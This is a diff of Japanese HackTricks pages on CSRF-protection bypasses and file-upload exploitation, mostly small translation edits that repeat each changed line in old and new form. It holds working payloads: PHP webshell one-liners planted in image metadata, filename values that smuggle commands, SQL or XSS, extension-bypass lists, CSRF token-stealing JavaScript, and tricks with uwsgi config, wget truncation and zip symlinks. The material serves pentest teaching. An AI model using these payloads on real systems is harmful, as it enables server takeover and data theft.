* **CSRFトークン**: 各セッションにユニークなCSRFトークンを組み込み、以降のリクエストでこのトークンを要求することで、CSRFのリスクを大幅に軽減できます。トークンの効果は、CORSを強制することで向上させることができます。
これらの防御を理解し実装することは、ウェブアプリケーションのセキュリティと整合性を維持するために重要です。
これらの防御を理解し実装することは、ウェブアプリケーションのセキュリティと整合性を維持するために重要です。
## 防御のバイパス
@ -71,11 +71,11 @@ CSRF攻撃から保護するために実装できるいくつかの対策があ
### トークンの欠如
アプリケーションは、トークンが存在する場合に**トークンを検証するメカニズム**を実装しているかもしれません。しかし、トークンが存在しない場合に検証が完全にスキップされると、脆弱性が生じます。攻撃者は、トークンを運ぶパラメータを**削除すること**によってこれを悪用できます。これにより、検証プロセスを回避し、クロスサイトリクエストフォージェリ (CSRF) 攻撃を効果的に実行できます。
アプリケーションは、トークンが存在する場合に**トークンを検証するメカニズム**を実装しているかもしれません。しかし、トークンが存在しない場合に検証が完全にスキップされると、脆弱性が生じます。攻撃者は、トークンを運ぶパラメータを**削除することによって**これを悪用できます。これにより、検証プロセスを回避し、クロスサイトリクエストフォージェリ (CSRF) 攻撃を効果的に実行できます。
### CSRFトークンがユーザーセッションに結びついていない
アプリケーションが**CSRFトークンをユーザーセッションに結びつけていない**場合、重大な**セキュリティリスク**が存在します。これらのシステムは、各トークンが開始セッションにバインドされていることを確認するのではなく、**グローバルプール**に対してトークンを検証します。
アプリケーションが**CSRFトークンをユーザーセッションに結びつけていない**場合、重大な**セキュリティリスク**が存在します。これらのシステムは、各トークンが開始セッションに結びついていることを確認するのではなく、**グローバルプール**に対してトークンを検証します。
攻撃者がこれを悪用する方法は次のとおりです:
@ -100,7 +100,7 @@ CSRF攻撃から保護するために実装できるいくつかの対策があ
リクエストが**CSRF保護メソッド**として**トークン**を持つ**カスタムヘッダー**を追加している場合:
* **カスタマイズされたトークンとヘッダーなしでリクエストをテスト**します。
* **同じ長さだが異なるトークンでリクエストをテスト**します。
* **同じ長さだが異なるトークン**でリクエストをテストします。
### CSRFトークンがクッキーによって検証される
@ -136,7 +136,7 @@ CSRF攻撃から保護するために実装できるいくつかの対策があ
* **`multipart/form-data`**
* **`text/plain`**
ただし、使用される**Content-Type**によって**サーバーのロジックが異なる場合がある**ため、上記の値や**`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._などの他の値も試すべきです。
ただし、使用される**Content-Type**によって**サーバーのロジックが異なる場合がある**ため、上記の値や**`application/json`**_**、**`text/xml`**、**`application/xml`**_などの他の値も試すべきです。
例([こちら](https://brycec.me/posts/corctf\_2021\_challenges)からとして、JSONデータをtext/plainとして送信する方法
```html
@ -159,7 +159,7 @@ POSTリクエストを介してJSONデータを送信しようとする際、HTM
2. **コンテンツタイプの変更**: サーバーがコンテンツをJSONとして認識することを保証しつつプリフライトリクエストを回避するために、`Content-Type: text/plain; application/json`でデータを送信できます。これはプリフライトリクエストをトリガーしませんが、サーバーが`application/json`を受け入れるように設定されていれば正しく処理される可能性があります。
3. **SWFフラッシュファイルの利用**: あまり一般的ではありませんが、SWFフラッシュファイルを使用してこのような制限を回避する方法もあります。この技術の詳細については、[この投稿](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)を参照してください。
### リファラー / オリジンチェックのバイパス
### リファラー/オリジンチェックのバイパス
**リファラーヘッダーを避ける**
@ -167,7 +167,7 @@ POSTリクエストを介してJSONデータを送信しようとする際、HTM
```xml
<meta name="referrer" content="never">
```
これにより、'Referer' ヘッダーが省略され、一部のアプリケーションでの検証チェックを回避する可能性があります。
これにより、「Referer」ヘッダーが省略され、一部のアプリケーションでの検証チェックを回避できる可能性があります。
**Regexp バイパス**
@ -196,7 +196,7 @@ document.forms[0].submit();
```
### **HEADメソッドバイパス**
[**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)の最初の部分では、[Oakのソースコード](https://github.com/oakserver/oak/blob/main/router.ts#L281)が説明されており、ルーターは**HEADリクエストをGETリクエストとして処理する**ように設定されています - これはOakに特有の一般的な回避策です。HEADリクエストを処理する特定のハンドラーの代わりに、単に**GETハンドラーに渡されますが、アプリはレスポンスボディを削除します**。
[**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)の最初の部分では、[Oakのソースコード](https://github.com/oakserver/oak/blob/main/router.ts#L281)が説明されており、ルーターは**HEADリクエストをGETリクエストとして処理する**ように設定されています - これはOakに特有の一般的な回避策です。HEADリクエストを処理する特定のハンドラーの代わりに、単に**GETハンドラーに渡され、アプリはレスポンスボディを削除します**。
したがって、GETリクエストが制限されている場合は、**GETリクエストとして処理されるHEADリクエストを送信することができます**。
@ -361,7 +361,7 @@ function envia(){document.getElementById("formulario").submit();}
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
```
### **CSRFトークンを盗み、POSTリクエストを送信する**
### **CSRFトークンを盗んでPOSTリクエストを送信する**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
@ -600,15 +600,15 @@ login(USER, line.strip())
**私たちに参加して** [**Discord**](https://discord.com/invite/N3FrSbmwdy)で今日からトップハッカーとコラボレーションを始めましょう!
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングのトリックを共有してください。
</details>

View file

@ -1,21 +1,21 @@
# ファイルアップロード
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **参加する** 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に、または**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
@ -26,7 +26,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
他の有用な拡張子:
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
* **PHPv8で動作**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
* **PHPv8で動作**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -37,10 +37,10 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
### ファイル拡張子チェックのバイパス
1. 適用される場合、**前の拡張子をチェック**します。また、いくつかの**大文字**を使用してテストします_pHp, .pHP5, .PhAr ..._
2. _実行拡張子の前に**有効な拡張子を追加**してチェックします前の拡張子も使用_
2. _**実行拡張子の前に有効な拡張子を追加**してチェックします前の拡張子も使用_
* _file.png.php_
* _file.png.Php5_
3. **特殊文字を末尾に追加**してみてください。Burpを使用してすべての**ascii**および**Unicode**文字を**ブルートフォース**することができます。 (_前述の**拡張子**も試すことができます_)
3. **特殊文字を末尾に追加**してみてください。Burpを使用してすべての**ascii**および**Unicode**文字を**ブルートフォース**することができます。 (_前述の**拡張子**を使用しても良いことに注意してください_)
* _file.php%20_
* _file.php%0a_
* _file.php%00_
@ -50,7 +50,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* _file._
* _file.php...._
* _file.pHp5...._
4. **サーバー側の拡張子パーサーをだまして**保護をバイパスしてみてください。**拡張子を二重にする**か、**ジャンク**データ(**null**バイト)を拡張子の間に追加します。 _前の拡張子を使用して、より良いペイロードを準備することもできます。_
4. **サーバー側の拡張子パーサーをだまして保護をバイパス**してみてください。**拡張子を二重にする**か、**ジャンク**データ(**null**バイト)を拡張子の間に追加する技術を使用します。 _前の拡張子を使用して、より良いペイロードを準備することもできます。_
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
@ -62,15 +62,15 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
5. **前のチェックに別の拡張子の層を追加**します:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. **有効な拡張子の前にexec拡張子を置き**、サーバーが誤って構成されていることを祈ります。(拡張子**.php**で終わらないが、**.php**で終わるものはすべてコードを実行するApacheの誤設定を悪用するのに役立ちます
* _例: file.php.png_
7. **Windows**で**NTFS代替データストリームADS**を使用します。この場合、禁止された拡張子の後にコロン文字「:」を挿入し、許可されたものの前に挿入します。その結果、サーバー上に**禁止された拡張子の空のファイル**が作成されます「file.asax:.jpg」。このファイルは、他の技術を使用して後で編集することができます。**::$data**パターンを使用して非空のファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立ちます「file.asp::$data.」)
6. **有効な拡張子の前にexec拡張子を置いて**、サーバーが誤って設定されていることを祈ります。(拡張子**.php**で終わらないが、**.php**で終わるものはすべてコードを実行するApacheの誤設定を悪用するのに役立ちます
* _例file.php.png_
7. **WindowsのNTFS代替データストリームADS**を使用します。この場合、禁止された拡張子の後にコロン文字「:」を挿入し、許可された拡張子の前に挿入します。その結果、サーバー上に**禁止された拡張子の空のファイル**が作成されます「file.asax:.jpg」。このファイルは、他の技術を使用して後で編集することができます。短いファイル名を使用することができます。「**::$data**パターンを使用して非空のファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立ちます「file.asp::$data.」)
8. ファイル名の制限を破ることを試みます。有効な拡張子が切り捨てられ、悪意のあるPHPが残ります。AAA<--SNIP-->AAA.php
```
# Linuxの最大255バイト
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで4を引き、.pngを追加
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで4を引き、.pngを追加
# ファイルをアップロードし、どれだけの文字を許可するか応答を確認します。236としましょう
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@ -78,33 +78,33 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA<--SNIP 232 A-->AAA.php.png
```
### Content-Type、マジックナンバー、圧縮およびリサイズのバイパス
### Content-Type、マジックナンバー、圧縮リサイズのバイパス
* **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します_image/png_ , _text/plain , application/octet-stream_
1. Content-Type **ワードリスト**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します_image/png_、_text/plain_、_application/octet-stream_
1. Content-Type **ワードリスト**[https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* **マジックナンバー**チェックをバイパスするには、ファイルの先頭に**実際の画像のバイト**を追加します_file_コマンドを混乱させます。または、**メタデータ**内にシェルを挿入します:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` または、画像内にペイロードを**直接挿入**することもできます:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* **圧縮が画像に追加されている**場合、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。ただし、**PLTEチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
* [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* ウェブページが画像を**リサイズ**している場合、たとえば、PHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用している場合、前述の技術は役に立ちません。ただし、**IDATチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
* [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* 画像のリサイズを**生き残る**ペイロードを作成するための別の技術として、PHP-GD関数`thumbnailImage`を使用します。ただし、**tEXtチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
* [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
* 画像に**圧縮**が追加されている場合、たとえば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。ただし、**PLTEチャンク**を使用して、圧縮に耐えるテキストを挿入することができます。[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
* [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
* ウェブページが画像を**リサイズ**している場合、たとえば、PHP-GD関数`imagecopyresized`または`imagecopyresampled`を使用している場合、前述の技術は役に立ちません。ただし、**IDATチャンク**を使用して、圧縮に耐えるテキストを挿入することができます。[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
* [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
* 画像のリサイズに耐えるペイロードを作成する別の技術として、PHP-GD関数`thumbnailImage`を使用します。ただし、**tEXtチャンク**を使用して、圧縮に耐えるテキストを挿入することができます。[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
* [**コードのあるGitHub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### その他のチェックするトリック
* すでにアップロードされたファイルの**名前を変更**する脆弱性を見つけます(拡張子を変更するため)。
* **ローカルファイルインクルージョン**の脆弱性を見つけてバックドアを実行します。
* すでにアップロードされたファイルの**名前を変更**する脆弱性を見つけ(拡張子を変更するため)。
* **ローカルファイルインクルージョン**の脆弱性を見つけてバックドアを実行す
* **情報漏洩の可能性**
1. **同じファイル**を**同時に**何度もアップロードします。
2. **既存のファイル**または**フォルダ**の**名前**でファイルをアップロードします。
3. **「.」、「..」、または「…」を名前に持つファイル**をアップロードします。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。
4. **NTFS**で簡単に削除できないファイルをアップロードします(例:**「…:.jpg」**)。(Windows)
5. **無効な文字**(例:`|<>*?”`)を名前に持つファイルを**Windows**にアップロードします。(Windows)
6. **予約された****禁止された****名前**CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9を持つファイルを**Windows**にアップロードします。
* **実行可能ファイル**.exeまたは**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**すること試みてください。
1. **同じファイル**を**同時に**何度もアップロードする
2. **既存のファイル**または**フォルダ**の**名前**でファイルをアップロードする
3. **「.」、「..」、または「…」を名前に持つファイルをアップロードする**。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。
4. **NTFS**で簡単に削除できないファイルをアップロード(例:**「…:.jpg」**)。(Windows)
5. **無効な文字**(例:`|<>*?”`)を名前に持つファイルを**Windows**にアップロードす。(Windows)
6. **予約された****禁止された****名前**CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9を持つファイルを**Windows**にアップロードす
* また、**実行可能ファイル**.exeまたは**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**すること試みてください。
### 特殊な拡張子のトリック
@ -117,7 +117,7 @@ AAA<--SNIP 232 A-->AAA.php.png
## **Jetty RCE**
JettyサーバーにXMLファイルをアップロードできる場合、[**新しい\*.xmlおよび\*.warが自動的に処理されるため**RCEを取得できます](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 次の画像で述べたように、XMLファイルを`$JETTY_BASE/webapps/`にアップロードし、シェルを期待してください!
JettyサーバーにXMLファイルをアップロードできる場合、[**新しい\*.xmlおよび\*.warが自動的に処理されるため、RCEを取得できます**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 次の画像で述べたように、XMLファイルを`$JETTY_BASE/webapps/`にアップロードし、シェルを期待してください!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
@ -125,7 +125,7 @@ JettyサーバーにXMLファイルをアップロードできる場合、[**新
この脆弱性の詳細な調査については、元の研究を確認してください:[uWSGI RCEの悪用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
リモートコマンド実行RCE脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むための特定の構文を利用します。特に、`@(filename)`として使用される`@`演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、"exec"スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に悪用される可能性があります。
リモートコマンド実行RCE脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むために特定の構文を利用します。特に、`@(filename)`として使用される'@'演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、「exec」スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に悪用される可能性があります。
以下は、さまざまなスキームを示す有害な`uwsgi.ini`ファイルの例です:
```ini
@ -147,12 +147,12 @@ characters = @(call://uwsgi_func)
```
ペイロードの実行は、設定ファイルの解析中に発生します。設定が有効化され、解析されるためには、uWSGIプロセスを再起動する必要がありますクラッシュ後やサービス拒否攻撃のためにまたはファイルを自動再読み込みに設定する必要があります。自動再読み込み機能が有効になっている場合、変更を検出すると指定された間隔でファイルが再読み込みされます。
uWSGIの設定ファイル解析の緩い性質を理解することが重要です。具体的には、議論されたペイロードはバイナリファイル画像やPDFなどに挿入でき、潜在的な悪用の範囲をさらに広げることができます。
uWSGIの設定ファイル解析の緩い性質を理解することが重要です。具体的には、議論されたペイロードはバイナリファイル画像やPDFなどに挿入でき、潜在的な悪用の範囲をさらに広げます。
## **wget File Upload/SSRF Trick**
場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**しており、**URL**を**指定**できることがあります。この場合、コードはダウンロードされたファイルの拡張子がホワイトリスト内にあるかどうかを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、**このチェックは回避可能です。**\
**linux**における**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルを**ダウンロード**できます。このファイル名は**チェックを回避**します(この例では**".gif"**は**有効**な拡張子です)が、`wget`はファイルを**"A"\*232+".php"**に**名前変更**します。
**linux**における**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルを**ダウンロード**できます。このファイル名は**チェックを回避**します(この例では**".gif"**は**有効**な拡張子です)が、`wget`はファイルを**"A"\*232+".php"**に**変更**します。
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -183,7 +183,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
## ファイルアップロードから他の脆弱性へ
* **filename**を`../../../tmp/lol.png`に設定して**パストラバーサル**を試みる
* **filename**を`../../../tmp/lol.png`に設定して**パストラバーサル**を試みる
* **filename**を`sleep(10)-- -.jpg`に設定すると、**SQLインジェクション**を達成できるかもしれません
* **filename**を`<svg onload=alert(document.domain)>`に設定してXSSを達成する
* **filename**を`; sleep 10;`に設定してコマンドインジェクションをテストする(他の[コマンドインジェクションのトリックはこちら](../command-injection.md)
@ -194,22 +194,22 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
* [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)から**異なるsvgペイロード**を試す\*\*\*\*
* [有名な**ImageTrick**脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* **URLから画像を取得するようにWebサーバーを指示できる**場合、[SSRF](../ssrf-server-side-request-forgery/)を悪用することを試みることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**すべての訪問者の情報を盗む**こともできます。
* [**XXEとCORS**バイパスをPDF-Adobeアップロードで実行](pdf-upload-xxe-and-cors-bypass.md)
* 特別に作成されたPDFでXSS: [以下のページは、**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、与えられた指示に従って任意のJSを実行するPDFを準備できます。
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**ウイルス対策**があるかどうかを確認す
* ファイルをアップロードする際に**サイズ制限**があるかどうかを確認す
* [**XXEとCORS**バイパス with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
* 特別に作成されたPDFでXSS: [次のページは**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、与えられた指示に従って任意のJSを実行するPDFを準備できます。
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**アンチウイルス**があるかどうかを確認しま
* ファイルをアップロードする際に**サイズ制限**があるかどうかを確認しま
以下は、アップロードによって達成できることのトップ10リストです[こちらから](https://twitter.com/SalahHasoneh1/status/1281274120395685889)
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webシェル / RCE
2. **SVG**: ストレージXSS / SSRF / XXE
3. **GIF**: ストレージXSS / SSRF
2. **SVG**: ストアドXSS / SSRF / XXE
3. **GIF**: ストアドXSS / SSRF
4. **CSV**: CSVインジェクション
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTMLインジェクション / XSS / オープンリダイレクト
8. **PNG / JPEG**: ピクセルフラッド攻撃 (DoS)
9. **ZIP**: LFI経由のRCE / DoS
9. **ZIP**: LFIを介したRCE / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Burp拡張
@ -227,7 +227,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
サーバー内で解凍されるZIPをアップロードできる場合、2つのことができます
#### シンリンク
#### シンボリックリンク
他のファイルへのソフトリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることでリンクされたファイルにアクセスします:
```
@ -239,7 +239,7 @@ tar -cvf test.tar symindex.txt
展開中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。この設定が悪意のあるファイルアップロードによるOSレベルのコマンド実行から守ると最初は考えられていましたが、ZIPアーカイブ形式の階層的圧縮サポートとディレクトリトラバーサル機能が悪用される可能性があります。これにより、攻撃者は制限を回避し、ターゲットアプリケーションの展開機能を操作することで安全なアップロードディレクトリから脱出することができます。
